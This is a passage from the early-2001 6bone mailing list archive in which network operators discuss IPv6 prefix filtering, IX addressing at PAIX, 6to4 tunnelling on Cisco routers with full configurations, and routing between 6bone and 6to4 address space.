network with peerings at the AMS-IX, 6TAP and TEN-155.

	rvdp


From 6bone-owner  Thu Jan 18 08:43:44 2001
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From: Raja Azlina Raja Mahmood <ina@mimos.my>
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*This message was transferred with a trial version of CommuniGate(tm) Pro*

Hi,

I understand these features are already shipped-in the IPv6
header in today IPv6 stack implementation.  However, is it true
that we haven't use these features yet, since there is some
standardization need to be done?  Are there more reasons to it?  

How can we participate in this implementation?   Any pointers?
Appreciate any help.

-ina


From 6bone-owner  Thu Jan 18 12:07:46 2001
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Reply-To: <goddardm@home.com>
From: "Matthew Goddard" <goddardm@home.com>
To: <6bone@ISI.EDU>
Subject: Repeating
Date: Thu, 18 Jan 2001 15:09:34 -0500
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Is it someone's trial CommuniGate Pro which is relaying e-mails back to the
list? That message seems to be popping up a lot.....

Matthew Goddard
(goddardm@home.com)


From 6bone-owner  Thu Jan 18 16:59:16 2001
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Date: Thu, 18 Jan 2001 22:58:01 +0100
From: Martijn van Dorst <martijn@zeelandnet.nl>
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To: "Stojakovic, Branislav" <bstojakovic@netway.at>, 6bone@ISI.EDU
Subject: Re: Config. example for DNS (Bind FreeBSD)
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"Stojakovic, Branislav" wrote:
> 
> *This message was transferred with a trial version of CommuniGate(tm) Pro*
> Hi there
> 
> I am  searching Bind (DNS) example configuration  of IPv6 on FreeBSD.

Take a look at http://www.ipv6.zeelandnet.nl/bind.html

Very simple and working bind sample.

Regards Martijn

From 6bone-owner  Fri Jan 19 00:51:48 2001
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From: Francis Dupont <Francis.Dupont@enst-bretagne.fr>
To: Jun-ichiro itojun Hagino <itojun@itojun.org>
cc: 6bone@ISI.EDU
Subject: Re: reachability issue with 3ffe:80a::/32 (PAIX IX segment) 
In-reply-to: Your message of Wed, 17 Jan 2001 21:13:59 +0900.
             <20010117121359.41CD47E66@starfruit.itojun.org> 
Date: Fri, 19 Jan 2001 09:50:52 +0100
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 In your previous mail you wrote:

   	(*) currently our rule is as follows:
   	- prefixes that match 3ffe:0000::/17 and prefixlen = 24
   	- prefixes that match 3ffe:8000::/17 and prefixlen = 28
   	- prefixes that match 2001::/16 and prefixlen = 29 to 35

=> you should accept prefixes with shorter prefixlen (because someone
can aggregate some prefixes in these three blocks. I don't believe
this happens but this shall happen).

   	i can think of couple of solutions:
   	- an IX (say PAIX) gets an sTLA/pTLA.  the IX announces it to the world
   	  based on normal prefix length (like /28 for pTLA).  the IX will
   	  ensure connectivity between IX segments (so there will be no
   	  reachability issue).

=> this seems the good solution (IXes are good TLA candidates!)

   	- do not use global address on the IX segment.  I know some routers
   	  cannot establish BGP4+ peers using linklocal address.

=> if the peer address is used in order to detect loops (ie config errors)
then it is very reasonnable to mandate global addresses. Same for iBGP
or multi-hop eBGP...

Thanks

Francis.Dupont@enst-bretagne.fr

From 6bone-owner  Fri Jan 19 12:28:59 2001
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To: Francis Dupont <Francis.Dupont@enst-bretagne.fr>
cc: Jun-ichiro itojun Hagino <itojun@itojun.org>, 6bone@ISI.EDU
Subject: Re: reachability issue with 3ffe:80a::/32 (PAIX IX segment) 
In-reply-to: Your message of "Fri, 19 Jan 2001 09:50:52 +0100."
             <200101190850.f0J8oqO10168@givry.rennes.enst-bretagne.fr> 
Date: Fri, 19 Jan 2001 12:28:07 -0800
From: Stephen Stuart <stuart@mfnx.net>
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>    	i can think of couple of solutions:
>    	- an IX (say PAIX) gets an sTLA/pTLA.  the IX announces it to the world
>    	  based on normal prefix length (like /28 for pTLA).  the IX will
>    	  ensure connectivity between IX segments (so there will be no
>    	  reachability issue).
>
> => this seems the good solution (IXes are good TLA candidates!)

How does an entity that does not operate a router announce any kind of
prefix to the world?

Networks that attach to an IX need to carry the /64 of the IX network
in their IGP or iBGP in order to recursively look up next-hop
addresses of peers at that IX. 

The only thing that having the IX announce an aggregated prefix would
accomplish is to allow traceroute for networks *not* connected to the
IX to work without seeing "* * *" in place of the hop through the
IX. While it's nice when traceroute works, traffic will flow correctly
on a path without it.

As I said in my previous mail, PAIX does *not* operate a router, and
does *not* compete with its customers for the wide-area carriage of
traffic.

One of the problems we encounter at IXes is participants who rewrite
next-hop or install static routes to cause other networks to carry
traffic that they did not offer to carry. This same technique could be
used to cause an IX that offered interior connectivity between
exchange points to function as a transit carrier. An IX that does not
want to function as a transit carrier now has to implement defenses
against it; an IX that does now competes with its customers. Neither
option sounds good to me.

Stephen
 --
Stephen Stuart					stuart@mfnx.net
VP, Research and Advanced Development
Metromedia Fiber Network

PAIX.Net is a subsidiary of Metromedia Fiber Network

From 6bone-owner  Sat Jan 20 08:11:49 2001
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Message-Id: <200101201611.f0KGBbf36010@hi.tech.org>
To: 6bone@ISI.EDU
Subject: Re: reachability issue with 3ffe:80a::/32 (PAIX IX segment) 
In-reply-to: Your message of "Fri, 19 Jan 2001 12:28:07 PST."
             <200101192028.f0JKS7f15112@hi.tech.org> 
Date: Sat, 20 Jan 2001 08:11:37 -0800
From: Stephen Stuart <stuart@mfnx.net>
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So, I said:

> The only thing that having the IX announce an aggregated prefix would
> accomplish is to allow traceroute for networks *not* connected to the
> IX to work without seeing "* * *" in place of the hop through the
> IX. While it's nice when traceroute works, traffic will flow correctly
> on a path without it.

and. of course, I got it flipped around; traceroute from networks not
connected to the IX will report properly when tracing paths through
the IX, but networks not connected can't traceroute directly to an IX
address if its prefix is not propagated by the connected providers.

Stephen

From 6bone-owner  Sat Jan 20 08:16:40 2001
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To: itojun@iijlab.net
cc: Francis Dupont <Francis.Dupont@enst-bretagne.fr>, 6bone@ISI.EDU
Subject: Re: reachability issue with 3ffe:80a::/32 (PAIX IX segment) 
In-reply-to: Your message of "Sat, 20 Jan 2001 10:14:58 +0900."
             <16380.979953298@coconut.itojun.org> 
Date: Sat, 20 Jan 2001 08:15:44 -0800
From: Stephen Stuart <stuart@mfnx.net>
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> 	sorry for the confusion.  the thing i wanted was a (sort of)
> 	standardized way of assigning an IPV6 prefix for use within IX
> 	segment.  IPv6 address assignment plans (well, for 2000::/3) has been
> 	very helpful for validating properly aggregated routes, however,
> 	it does not work for IX address assignment I've seen (as presented
> 	in particular example, topologically disjoint address clouds
> 	under 3ffe:800::/24).

PAIX prefixes will be /64s within 3ffe:080A:0000::/48.

Stephen

From 6bone-owner  Sun Jan 21 06:32:27 2001
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Message-ID: <005701c083b7$02342700$0fc0a8c0@rietberg.hvd>
From: "Erik Rietberg" <erietberg@chello.nl>
To: <6bone@ISI.EDU>
Subject: 6to4 on a Cisco
Date: Sun, 21 Jan 2001 15:32:38 +0100
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Has somebody ever configured 6to4-tunneling on a Cisco ???

I tried, but I can't get it work. I have been using the IPv6 kit from
Microsoft for Windows2000, which perfectly connects to the microsoft
6to4-relay router, but when I try to use my own Cisco I get the following
error:
<>
c:\>6to4cfg -R 213.x.x.x
Probing 6to4 relay router 213.x.x.x...
Could not reach a 6to4 relay router.
<>

This means that to problem is with the Cisco router. I got the config from
the IPv6-IOS command list:
I use the following IOS version:
<>
IOS (tm) 3600 Software (C3620-IS-M), Experimental Version
12.1(20001029:175720) [otroan-samhain 114]
<>

<config for Sixco>
interface Tunnel0
 description Used for 6to4 translations
 no ip address
 no ip redirects
 no ip route-cache cef
 ipv6 unnumbered Ethernet0/0
 tunnel source Ethernet0/0
 tunnel mode ipv6ip 6to4
!
interface Ethernet0/0
 ip address 213.x.x.x 255.255.255.224
 no ip redirects
 no ip proxy-arp
 ip route-cache flow
 half-duplex
 ipv6 address 2002:XXX:XXX::/48 eui-64
!
ipv6 route 2002::/16 Tunnel0
<>

b.t.w. Static tunnels to my linux-box work fine !

greetings,
________________________________________________________
Erik Rietberg
erietberg@chello.nl / erik@rietberg.nl / PGP: 0x09CE3401
________________________________________________________
'Do files get embarrassed when they get unzipped?'




From 6bone-owner  Sun Jan 21 11:00:12 2001
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Reply-To: <goddardm@home.com>
From: "Matthew Goddard" <goddardm@home.com>
To: "Erik Rietberg" <erietberg@chello.nl>
Cc: <6bone@ISI.EDU>
Subject: RE: 6to4 on a Cisco
Date: Sun, 21 Jan 2001 14:02:48 -0500
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On the Ethernet 0/0 add this command:

ip mtu 1480

And assuming you have converted the IPv4 address correctly to it's hex
equivalent it looks like it should work then. Make sure you check the
routing tables as well.

Hope this helps.

-----Original Message-----
From: owner-6bone@ISI.EDU [mailto:owner-6bone@ISI.EDU]On Behalf Of Erik
Rietberg
Sent: Sunday, January 21, 2001 9:33 AM
To: 6bone@ISI.EDU
Subject: 6to4 on a Cisco


Has somebody ever configured 6to4-tunneling on a Cisco ???

I tried, but I can't get it work. I have been using the IPv6 kit from
Microsoft for Windows2000, which perfectly connects to the microsoft
6to4-relay router, but when I try to use my own Cisco I get the following
error:
<>
c:\>6to4cfg -R 213.x.x.x
Probing 6to4 relay router 213.x.x.x...
Could not reach a 6to4 relay router.
<>

This means that to problem is with the Cisco router. I got the config from
the IPv6-IOS command list:
I use the following IOS version:
<>
IOS (tm) 3600 Software (C3620-IS-M), Experimental Version
12.1(20001029:175720) [otroan-samhain 114]
<>

<config for Sixco>
interface Tunnel0
 description Used for 6to4 translations
 no ip address
 no ip redirects
 no ip route-cache cef
 ipv6 unnumbered Ethernet0/0
 tunnel source Ethernet0/0
 tunnel mode ipv6ip 6to4
!
interface Ethernet0/0
 ip address 213.x.x.x 255.255.255.224
 no ip redirects
 no ip proxy-arp
 ip route-cache flow
 half-duplex
 ipv6 address 2002:XXX:XXX::/48 eui-64
!
ipv6 route 2002::/16 Tunnel0
<>

b.t.w. Static tunnels to my linux-box work fine !

greetings,
________________________________________________________
Erik Rietberg
erietberg@chello.nl / erik@rietberg.nl / PGP: 0x09CE3401
________________________________________________________
'Do files get embarrassed when they get unzipped?'




From 6bone-owner  Sun Jan 21 13:38:48 2001
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Date: Sun, 21 Jan 2001 16:38:59 -0500 (EST)
From: <indra@marmoset.net>
To: <6bone@ISI.EDU>
Subject: pTLA condition..
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hello a small doubt, are all the 6bone pTLA sites having IPv6 enabled
web-servers? is that a condition for achieving pTLA status (having an IPv6
enabled website, i mean. the clause in the condition document is not very
clear). the list of IPv6 enabled web sites is not very big too, as i could
find out. could someone clarify this small doubt?

thanks in advance,
Indra.


From 6bone-owner  Sun Jan 21 23:52:17 2001
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From: "Mithrandir" <mithrandir@skynet.be>
To: <goddardm@home.com>
Cc: <6bone@ISI.EDU>
References: <NEBBJDJEALLIMCPDFLNPIEJFCBAA.goddardm@home.com>
Subject: Re: 6to4 on a Cisco
Date: Mon, 22 Jan 2001 08:49:28 +0100
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I don't see a tunnel destination.
Don't you think a tunnel destination is needed here?
If you've already done so, never mind.
greetings,
Mithrandir



----- Original Message -----
From: "Matthew Goddard" <goddardm@home.com>
To: "Erik Rietberg" <erietberg@chello.nl>
Cc: <6bone@ISI.EDU>
Sent: Sunday, January 21, 2001 8:02 PM
Subject: RE: 6to4 on a Cisco


>
> On the Ethernet 0/0 add this command:
>
> ip mtu 1480
>
> And assuming you have converted the IPv4 address correctly to it's hex
> equivalent it looks like it should work then. Make sure you check the
> routing tables as well.
>
> Hope this helps.
>
> -----Original Message-----
> From: owner-6bone@ISI.EDU [mailto:owner-6bone@ISI.EDU]On Behalf Of Erik
> Rietberg
> Sent: Sunday, January 21, 2001 9:33 AM
> To: 6bone@ISI.EDU
> Subject: 6to4 on a Cisco
>
>
> Has somebody ever configured 6to4-tunneling on a Cisco ???
>
> I tried, but I can't get it work. I have been using the IPv6 kit from
> Microsoft for Windows2000, which perfectly connects to the microsoft
> 6to4-relay router, but when I try to use my own Cisco I get the following
> error:
> <>
> c:\>6to4cfg -R 213.x.x.x
> Probing 6to4 relay router 213.x.x.x...
> Could not reach a 6to4 relay router.
> <>
>
> This means that to problem is with the Cisco router. I got the config from
> the IPv6-IOS command list:
> I use the following IOS version:
> <>
> IOS (tm) 3600 Software (C3620-IS-M), Experimental Version
> 12.1(20001029:175720) [otroan-samhain 114]
> <>
>
> <config for Sixco>
> interface Tunnel0
>  description Used for 6to4 translations
>  no ip address
>  no ip redirects
>  no ip route-cache cef
>  ipv6 unnumbered Ethernet0/0
>  tunnel source Ethernet0/0
>  tunnel mode ipv6ip 6to4
> !
> interface Ethernet0/0
>  ip address 213.x.x.x 255.255.255.224
>  no ip redirects
>  no ip proxy-arp
>  ip route-cache flow
>  half-duplex
>  ipv6 address 2002:XXX:XXX::/48 eui-64
> !
> ipv6 route 2002::/16 Tunnel0
> <>
>
> b.t.w. Static tunnels to my linux-box work fine !
>
> greetings,
> ________________________________________________________
> Erik Rietberg
> erietberg@chello.nl / erik@rietberg.nl / PGP: 0x09CE3401
> ________________________________________________________
> 'Do files get embarrassed when they get unzipped?'
>
>
>
>


From 6bone-owner  Mon Jan 22 07:02:16 2001
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Date: Mon, 22 Jan 2001 09:52:54 -0500
To: "Mithrandir" <mithrandir@skynet.be>, <goddardm@home.com>
From: Marc Blanchet <Marc.Blanchet@viagenie.qc.ca>
Subject: Re: 6to4 on a Cisco
Cc: <6bone@ISI.EDU>
In-Reply-To: <002301c08448$54faacc0$0401a8c0@mithrandir>
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At/À 08:49 2001-01-22 +0100, Mithrandir you wrote/vous écriviez:
>I don't see a tunnel destination.
>Don't you think a tunnel destination is needed here?

nope. ipv4 destination address is extracted from the ipv6 destination 
address. this is the purpose of 6to4.

Regards, Marc.

>If you've already done so, never mind.
>greetings,
>Mithrandir
>
>
>
>----- Original Message -----
>From: "Matthew Goddard" <goddardm@home.com>
>To: "Erik Rietberg" <erietberg@chello.nl>
>Cc: <6bone@ISI.EDU>
>Sent: Sunday, January 21, 2001 8:02 PM
>Subject: RE: 6to4 on a Cisco
>
>
> >
> > On the Ethernet 0/0 add this command:
> >
> > ip mtu 1480
> >
> > And assuming you have converted the IPv4 address correctly to it's hex
> > equivalent it looks like it should work then. Make sure you check the
> > routing tables as well.
> >
> > Hope this helps.
> >
> > -----Original Message-----
> > From: owner-6bone@ISI.EDU [mailto:owner-6bone@ISI.EDU]On Behalf Of Erik
> > Rietberg
> > Sent: Sunday, January 21, 2001 9:33 AM
> > To: 6bone@ISI.EDU
> > Subject: 6to4 on a Cisco
> >
> >
> > Has somebody ever configured 6to4-tunneling on a Cisco ???
> >
> > I tried, but I can't get it work. I have been using the IPv6 kit from
> > Microsoft for Windows2000, which perfectly connects to the microsoft
> > 6to4-relay router, but when I try to use my own Cisco I get the following
> > error:
> > <>
> > c:\>6to4cfg -R 213.x.x.x
> > Probing 6to4 relay router 213.x.x.x...
> > Could not reach a 6to4 relay router.
> > <>
> >
> > This means that to problem is with the Cisco router. I got the config from
> > the IPv6-IOS command list:
> > I use the following IOS version:
> > <>
> > IOS (tm) 3600 Software (C3620-IS-M), Experimental Version
> > 12.1(20001029:175720) [otroan-samhain 114]
> > <>
> >
> > <config for Sixco>
> > interface Tunnel0
> >  description Used for 6to4 translations
> >  no ip address
> >  no ip redirects
> >  no ip route-cache cef
> >  ipv6 unnumbered Ethernet0/0
> >  tunnel source Ethernet0/0
> >  tunnel mode ipv6ip 6to4
> > !
> > interface Ethernet0/0
> >  ip address 213.x.x.x 255.255.255.224
> >  no ip redirects
> >  no ip proxy-arp
> >  ip route-cache flow
> >  half-duplex
> >  ipv6 address 2002:XXX:XXX::/48 eui-64
> > !
> > ipv6 route 2002::/16 Tunnel0
> > <>
> >
> > b.t.w. Static tunnels to my linux-box work fine !
> >
> > greetings,
> > ________________________________________________________
> > Erik Rietberg
> > erietberg@chello.nl / erik@rietberg.nl / PGP: 0x09CE3401
> > ________________________________________________________
> > 'Do files get embarrassed when they get unzipped?'
> >
> >
> >
> >


Marc Blanchet
Viagénie inc.
tel: 418-656-9254
http://www.viagenie.qc.ca

----------------------------------------------------------
Normos (http://www.normos.org): Internet standards portal:
IETF RFC, drafts, IANA, W3C, ATMForum, ISO, ... all in one place.


From 6bone-owner  Mon Jan 22 12:03:24 2001
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From: "Erik Rietberg" <erietberg@chello.nl>
To: "Seidmann Thomas" <Thomas.Seidmann@simultan.ch>, <6bone@ISI.EDU>
References: <502ED1B5ECC92D4FB7A2966CB8A4DE44501BDA@SALTIS10.SIMULTAN.CH>
Subject: Re: 6to4 on a Cisco
Date: Mon, 22 Jan 2001 21:03:37 +0100
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Hi Thomas,

> the trouble with M$'s 6to4cfg.exe is that they check the prospective 6to4
> gateway for mainly two things:
>
> 1. Reachability via IPv4 ICMP messages (i.e. ping)
> 2. Reachability via automatic IPv6-in-IPv4 tunneling (like ping6
> ::213.x.x.x)
>
> although the second is not needed by the 6to4 en/decapsulation. That's why
> you must do the last step of their config by hand:
>
> ipv6 rtu ::/0 2/::213.x.x.x pub life 1800
>
> Afterwards 6to4 should be working.

Yep, it works !! Thanks for the help.

I think the problem is with issue 2, because I can normally ping the router.
Is the automatic IPv6-in-IPv4 tunneling a feature I can activate on a Cisco
??

Erik


From 6bone-owner  Mon Jan 22 13:01:29 2001
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Date: Mon, 22 Jan 2001 22:01:13 +0100 (CET)
From: Kristoff Bonne <kristoff.bonne@skypro.be>
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Greetings,

Besides 6bone (BGP) connectivity, I am also playing with the 6to4
encapsulation.
I my router has IP-address 195.13.17.26, I use the block of IP-addresses 
2002:C30D:111A/48. (which should be correct).

I also set up a static route at my router, that routes traffic to
2002::/16 to the 6-to-4 tunnel. (The rest used the routing-info that is
received via BGP4+).

(Also note, that I also have a block of IP-addresses from the
6bone: 3FFE:80B0:1001::/48, received from belnet.

This seams to work for hosts that have a IPv6-address in my
6bone-range (for all traffic), but a hosts that only has a 6to4-type
address can only reach other hosts that have a 6to4 address.

Is there something that needs to be done so that nodes on the 6bone can
also contact me?
Can I announce my 6to4-subnet in BGP to the 6bone BGP-clouth or is there
somewhere a 'universal' 6bone -> 6to4 gateway.

Cheerio! Kr. Bonne.
-- 
KB905-RIPE                                       Belgacom  IP networking
(c=be,a=rtt,p=belgacomgroup,s=Bonne,g=Kristoff)  Internet, IP and IP/VPN
kristoff.bonne@skypro.be                         Faxbox :  +32 2 2435122


From 6bone-owner  Mon Jan 22 14:08:40 2001
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Date: Mon, 22 Jan 2001 19:08:23 -0300
To: 6bone@ISI.EDU
Subject: what ASN to use?
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¡Hola!

I want to start using BGP4+ but I have not an ASN. I plan to eventually
become a pTLA, so i cannot just ask my upstream and use any IANA-RSVD2
ASN.

What should i do? The options I see are:

a. Use a IANA-RSVD[2] ASN and go ahead hoping nobody is going to start
filtering them out (there are 15 sites in the 6bone registry using rsvd
ASNs and only a few using BGP4+)

b. Use my IPv4 upstream provider ASN and hope they won't enter the 6bone.
(there is at least one pTLA doing that)

Some other option?

Thanks,
					HoraPe
---
Horacio J. Peña
horape@compendium.com.ar
horape@uninet.edu
bofh@puntoar.net.ar
horape@hcdn.gov.ar

From 6bone-owner  Mon Jan 22 15:56:18 2001
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Date: Mon, 22 Jan 2001 18:21:07 -0500
From: "David A. Bandel" <david@pananix.com>
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Ladies and Gentlemen:

I run a small ISP in the Republic of Panama.  I've contacted some folks
down here, but no one here is running IPv6.  

I have a small problem, though.  I know most of you want RT times of <
200ms.  Unfortunately, due to the way I'm connected, I will not be able
to connect to anyone outside Panama at anything less than 500ms.  The
problem is, I'm connected through Charter Communications via satellite. 
The downlink is in Texas.  But the absolute best times I've seen through
the satellite shot is 560ms.

Anyone in Texas (or nearby) willing to work with me?  If so, you can
contact me directly.

TIA,

David A. Bandel
-- 
Focus on the dream, not the competition.
		-- Nemesis Racing Team motto

From 6bone-owner  Mon Jan 22 18:52:30 2001
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Date: Mon, 22 Jan 2001 18:52:12 -0800
To: Kristoff Bonne <kristoff.bonne@skypro.be>
From: "Kurt D. Zeilenga" <Kurt@OpenLDAP.org>
Subject: Re: 6bone to 6to4
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At 10:01 PM 1/22/01 +0100, Kristoff Bonne wrote:
>Greetings,
>
>Besides 6bone (BGP) connectivity, I am also playing with the 6to4
>encapsulation.
>I my router has IP-address 195.13.17.26, I use the block of IP-addresses 
>2002:C30D:111A/48. (which should be correct).
>
>I also set up a static route at my router, that routes traffic to
>2002::/16 to the 6-to-4 tunnel. (The rest used the routing-info that is
>received via BGP4+).
>
>(Also note, that I also have a block of IP-addresses from the
>6bone: 3FFE:80B0:1001::/48, received from belnet.
>
>This seams to work for hosts that have a IPv6-address in my
>6bone-range (for all traffic), but a hosts that only has a 6to4-type
>address can only reach other hosts that have a 6to4 address.

Do they have a route to the 6BONE?

>Is there something that needs to be done so that nodes on the 6bone can
>also contact me?
>Can I announce my 6to4-subnet in BGP to the 6bone BGP-clouth or is there
>somewhere a 'universal' 6bone -> 6to4 gateway.
>
>Cheerio! Kr. Bonne.
>-- 
>KB905-RIPE                                       Belgacom  IP networking
>(c=be,a=rtt,p=belgacomgroup,s=Bonne,g=Kristoff)  Internet, IP and IP/VPN
>kristoff.bonne@skypro.be                         Faxbox :  +32 2 2435122


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From: Kristoff Bonne <kristoff.bonne@skypro.be>
X-Sender: skypro@frigg.belbone.net
To: "Kurt D. Zeilenga" <Kurt@OpenLDAP.org>
Cc: 6bone@ISI.EDU
Subject: Re: 6bone to 6to4
In-Reply-To: <5.0.2.1.0.20010122185055.00a76b60@router.boolean.net>
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Greetings,

On Mon, 22 Jan 2001, Kurt D. Zeilenga wrote:
>> Besides 6bone (BGP) connectivity, I am also playing with the 6to4
>> encapsulation.
>> I my router has IP-address 195.13.17.26, I use the block of
IP-addresses 
>> 2002:C30D:111A/48. (which should be correct).
>> I also set up a static route at my router, that routes traffic to
>> 2002::/16 to the 6-to-4 tunnel. (The rest used the routing-info that is
>> received via BGP4+).

>> This seams to work for hosts that have a IPv6-address in my
>> 6bone-range (for all traffic), but a hosts that only has a 6to4-type
>> address can only reach other hosts that have a 6to4 address.
> Do they have a route to the 6BONE?
Yep.
This is my config:
- A cisco router (25xx) which both BGP 4+ to belnet (and from-there-on the
6bone) and a 6to4-interface. (I used to config posted by Erik Rietberg in
this list earlier this week).
- Routing static route for 2002::/16 to tunnel1 (6to4). For the rest, it
'falls back' to the BGP 4+ routing.
- On the LAN-interface, both the 6bone address-range and 2002-range. Only
the 6bone-range (and site-local) is announced via RP.
- On the lan: one linux-box (which has a 6bone-address learned via RP from
the router) and one OpenBSD-box with a 2002-address (configured
statically) and default gateway set statiscally to router (link-local
address).

Result:
- linux-box (hence, 6bone-address) can reach everything.
A ping6 to a remote 2002-address (e.g. ipv6-router.cisco.com or
6to4.ipv6.microsoft.com) is now faster then before. (which proves that the
shortcut for the 2002-address static-route is used).
- OpenBSD-box (hence, 2002-address) can reach the other 2002-addresses,
but not the 6bone-addresses.

To me, it looks like the 6bone-hosts don't know the return-path to my
2002-address.

As a test, I've also added my 2002-addresses in my BGP-4+ announcements,
and now I can reach SOME 6bone-addresses (like www.6bone.net and
www.ipv6.surfnet.nl), but others do not reply (like www.belnet.be or
www.kame.net).

Is it possible there any some filters somewhere on the BGP-4+
announcements? Can anybody check their B GP 4+ routing-table for AS6774?


What I found strange that (in my BGP4+ routing-table) I did found the
follwing entry:
*> 2002::/16        3FFE:608:2:2::10           0 2611 3257 4697 1251 109 i

So, there DOES is a 'universal' 6bone to 6to4 gateway???


Cheerio! Kr. Bonne.
-- 
KB905-RIPE                                       Belgacom  IP networking
(c=be,a=rtt,p=belgacomgroup,s=Bonne,g=Kristoff)  Internet, IP and IP/VPN
kristoff.bonne@skypro.be                         Faxbox :  +32 2 2435122


From 6bone-owner  Tue Jan 23 04:10:03 2001
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From: Kristoff Bonne <kristoff.bonne@skypro.be>
X-Sender: skypro@frigg.belbone.net
To: William Waites <ww@AREA22.STYX.ORG>
Cc: 6bone@ISI.EDU
Subject: Re: 6bone to 6to4
In-Reply-To: <20010123000114.D22F7E88@RASKOL.STYX.ORG>
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Greetings,

On Mon, 22 Jan 2001, William Waites wrote:
>  > Is there something that needs to be done so that nodes on the 6bone can
>  > also contact me?
>  > Can I announce my 6to4-subnet in BGP to the 6bone BGP-clouth or is there
>  > somewhere a 'universal' 6bone -> 6to4 gateway.
> AFAIK announcing the 2002::/16 address space into BGP is not done. At
> least I do not see that route in the tables I get from external peers.
> Given this, a 'universal' gateway is not possible.
I do see this in my BGP4+ routing-table:
*> 2002::/16       3FFE:608:2:2::10     0   2611 3257 4697 1251 109 i


> 
> The alternative is to have a 6to4 gateway in each ASN on the 6bone. While
> this might be a good practice, it is not required of providers so there
> is no guarantee of 2002::/16 reachability globally.
Well, it should be an ideal situation, wouldn't it?

For people who only have 6bone, they will be directed (using the BGP-4+
information) to the 'closest' gateway, so they do not have to cross half
the planet to a 'universal' 6bone-6to4 gateway.

For people who only have both BGP4+ and 2002, the system automatically
chooses the best way.

Cheerio! Kr. Bonne.
-- 
KB905-RIPE                                       Belgacom  IP networking
(c=be,a=rtt,p=belgacomgroup,s=Bonne,g=Kristoff)  Internet, IP and IP/VPN
kristoff.bonne@skypro.be                         Faxbox :  +32 2 2435122


From 6bone-owner  Tue Jan 23 09:46:04 2001
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Message-ID: <00a801c0862d$8967b7a0$0fc0a8c0@rietberg.hvd>
From: "Erik Rietberg" <erietberg@chello.nl>
To: <6bone@ISI.EDU>
References: <502ED1B5ECC92D4FB7A2966CB8A4DE44501BDB@SALTIS10.SIMULTAN.CH>
Subject: Re: 6to4 on a Cisco
Date: Wed, 24 Jan 2001 18:46:09 +0100
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> > I think the problem is with issue 2, because I can normally ping the
> router.
> > Is the automatic IPv6-in-IPv4 tunneling a feature I can activate on a
> Cisco ??

With automatic IPv6-in-IPv4 tunneling activated on the Cisco, the Microsoft
6to4cfg works fine !

<>
C:\>6to4cfg -R sixco.ipv6.test.nl
Probing 6to4 relay router 213.x.x.x...
Found 6to4 relay router sixco.ipv6.test.nl (213.x.x.x)...
Using local address 213.x.x.x for the 6to4 prefix.
<>

For all who are interested below my current Cisco-config, with automatic
IPv6-in-IPv4 tunneling and 6to4 enabled:

<>
version 12.1
no service single-slot-reload-enable
service nagle
no service pad
service tcp-keepalives-in
service timestamps debug datetime
service timestamps log datetime
service password-encryption
!
hostname Sixco
!
boot system tftp://212.x.x.x/c3620-is-mz.20001101
logging buffered 4096 debugging
no logging rate-limit
enable secret 5 $1$ihP$wCvwdUvT6COQlmYA68ckZg/
!
ip subnet-zero
ip cef
!
!
no ip finger
ip domain-name ipv6.test.nl
ip name-server 212.x.x.x
!
no ip bootp server
ipv6 unicast-routing
call rsvp-sync
!
interface Loopback0
 no ip address
 ipv6 address 2002:XXXX:XXXX:0:10:7B15:9881:C/64
 ipv6 mtu 1480
!
interface Loopback100
 no ip address
 ipv6 address 3FFE:XXXX::1/128
 ipv6 mtu 1480
!
interface Tunnel0
 description Used for 6to4 translations
 no ip address
 no ip redirects
 no ip route-cache cef
 ipv6 enable
 ipv6 unnumbered Loopback0
 tunnel source Loopback0
 tunnel mode ipv6ip 6to4
 tunnel path-mtu-discovery
!
interface Tunnel1
 description "to IPng"
 no ip address
 no ip route-cache cef
 ipv6 enable
 ipv6 address 3FFE:XXXX::X/127
 ipv6 rip T0 enable
 tunnel source Ethernet0/0
 tunnel destination 212.19.192.219
 tunnel mode ipv6ip
!
interface Tunnel2
 description "to Laptop"
 no ip address
 ipv6 enable
 ipv6 address 3FFE:XXXX::2/127
 ipv6 rip T0 enable
 tunnel source Ethernet0/0
 tunnel destination 213.x.x.x
 tunnel mode ipv6ip
!
interface Tunnel3
 description "automatic tunneling"
 no ip address
 no ip redirects
 no ip route-cache cef
 tunnel source Ethernet0/0
 tunnel mode ipv6ip auto-tunnel
!
interface Ethernet0/0
 ip address 213.x.x.x 255.255.255.224
 no ip redirects
 no ip proxy-arp
 ip mtu 1480
 ip route-cache flow
 half-duplex
 ipv6 enable
!
interface Serial0/0
 no ip address
 shutdown
!
interface Serial0/1
 no ip address
 shutdown
!
interface Ethernet1/0
 no ip address
 shutdown
 half-duplex
!
router bgp 100
 no synchronization
 no bgp default ipv4-unicast
 bgp log-neighbor-changes
 !
 address-family ipv6
 network DEAD::/64
 exit-address-family
!
ip classless
ip route 0.0.0.0 0.0.0.0 213.x.x.1
no ip http server
!

access-list 1 permit 213.x.x.x
ipv6 route 3FFE:XXXX::/60 Null0 200
ipv6 route 3FFE:XXXX::/64 Tunnel2
ipv6 route ::/0 Tunnel1
!
ipv6 access-list vty_in permit 3FFE:XXXX::1/128
!
ipv6 router rip T0
ipv6 router rip T1
!
!
dial-peer cor custom
!
!
!
!
line con 0
 login
 transport input none
line aux 0
 login
line vty 0 4
 access-class 1 in
 timeout login response 0
 ipv6 access-class vty_in in
 login
 escape-character 27
!
ntp clock-period 17179992
ntp server 212.x.x.x
end
<>

greetings,
Erik


From 6bone-owner  Tue Jan 23 18:15:43 2001
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Date: Tue, 23 Jan 2001 18:15:35 -0800
To: Kristoff Bonne <kristoff.bonne@skypro.be>
From: "Kurt D. Zeilenga" <Kurt@OpenLDAP.org>
Subject: Re: 6bone to 6to4
Cc: 6bone@ISI.EDU
In-Reply-To: <Pine.LNX.4.21.0101231222300.846-100000@frigg.belbone.net>
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Kristoff,

I am not sure what the policy is for propagating 2002::/16 routes
on the 6bone.  I would suspect that 2002::/16 routes should only
be exchanged between ASs under mutual agreement as to avoid
perverse routing situations.  There are clearly areas on the
6bone which have no route to 2002::/16.  Your upstream 6bone
provider may not have a route to 2002::/16 and hence not able
to route packets back to you (unless you advertise a 2002::/16
route to them (with permission)).

Note that propagation of 2002: with prefixes longer than 16 on
the 6bone is prohibited as this would saturate the IPv6 routing
tables.

You're welcomed to experiment with ping/traceroute to our IPv6
router:
  2002:c690:ce31::1
  3ffe:1900:3::2

[but don't use as a default router, we don't have the bandwidth].

At 12:44 PM 1/23/01 +0100, Kristoff Bonne wrote:
>Greetings,
>
>On Mon, 22 Jan 2001, Kurt D. Zeilenga wrote:
>>> Besides 6bone (BGP) connectivity, I am also playing with the 6to4
>>> encapsulation.
>>> I my router has IP-address 195.13.17.26, I use the block of
>IP-addresses 
